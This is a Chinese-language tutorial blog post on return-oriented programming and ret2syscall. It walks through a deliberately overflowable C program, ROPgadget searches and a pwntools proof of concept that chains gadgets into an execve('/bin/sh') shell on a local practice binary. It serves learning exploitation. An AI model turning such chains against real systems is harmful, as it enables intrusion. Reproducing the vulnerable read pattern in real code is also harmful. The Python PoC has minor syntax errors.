欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

pwn学习---ropgadget和ret2syscall

程序员文章站 2024-01-20 08:31:58
...

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接,从而构建恶意代码。可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

ret2syscall,即控制程序执行系统调用,获取 shell。

接下来我们看一个示例,在read函数这里会出现缓冲区溢出。

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
         system("/bin/sh");
}
void func()
{
             char str[0x20];
             read(0,str,0x50);
}
int main()
{
           func();
           return 0;
}

进行编译

gcc -no-pie -fno-stack-protector  -static -m32  -o 7.exe 7.c

-static :静态编译

查看保护机制
pwn学习---ropgadget和ret2syscall这里很奇怪,明明命令已经关闭了canary栈保护,可是这里还是显示开启了栈保护,更奇怪的是这个并没有影响溢出的结果。

定位溢出点(这里简写了,可以查看我之前的文章有专门讲定位溢出点的方法和过程)

cyclic 100
cyclic -l laaa

pwn学习---ropgadget和ret2syscall
结果是44

查找pop…ret以及/bin/sh和int 0x80的地址
只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

execve的系统调用号是0x0b
execve系统调用号赋给eax寄存器,将参数”/bin/sh”的地址赋值给ebx寄存器,参数NULL,NULL赋值给ecx和edx寄存器,触发 0x80 号中断
利用ROPgadget的工具查找eax ebx ecx edx的地址(即pop…ret的地址),以及/bin/sh和int 0x80的地址。即:

------ ---------------分割线---------------------
系统调用号,即 eax 应该为 0xb

第一个参数,即 ebx 应该指向 /bin/sh 的地址

第二个参数,即 ecx 应该为 0

第三个参数,即 edx 应该为 0
------ ---------------分割线---------------------

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
ROPgadget --binary ./7.exe --string "/bin/sh"
ROPgadget --binary ./7.exe --only "int"|grep "0x80"

pwn学习---ropgadget和ret2syscallpoc
找到了地址之后就可以写poc了!

from pwn import *
#context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)     // pop eax ; ret 的地址
value_eax=p32(0xb)             //eax的值是0xb
add_edx_ecx_ebx=p32(0x0806f711)   pop edx;pop ecx; pop ebx ;ret 的地址
value_ebx=p32(0x080ae008)        //ebx指向/bin/sh的地址
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)        //
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
#pid=proc.pidof(p)
#print pid
#pause()
p.sendline(payload)
p.interactive()

构造的payload为

payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int

pwn学习---ropgadget和ret2syscall 成功!

参考文章:
https://blog.csdn.net/qq_44759495/article/details/89474281
https://www.cnblogs.com/ichunqiu/p/9288935.html

相关标签: PWN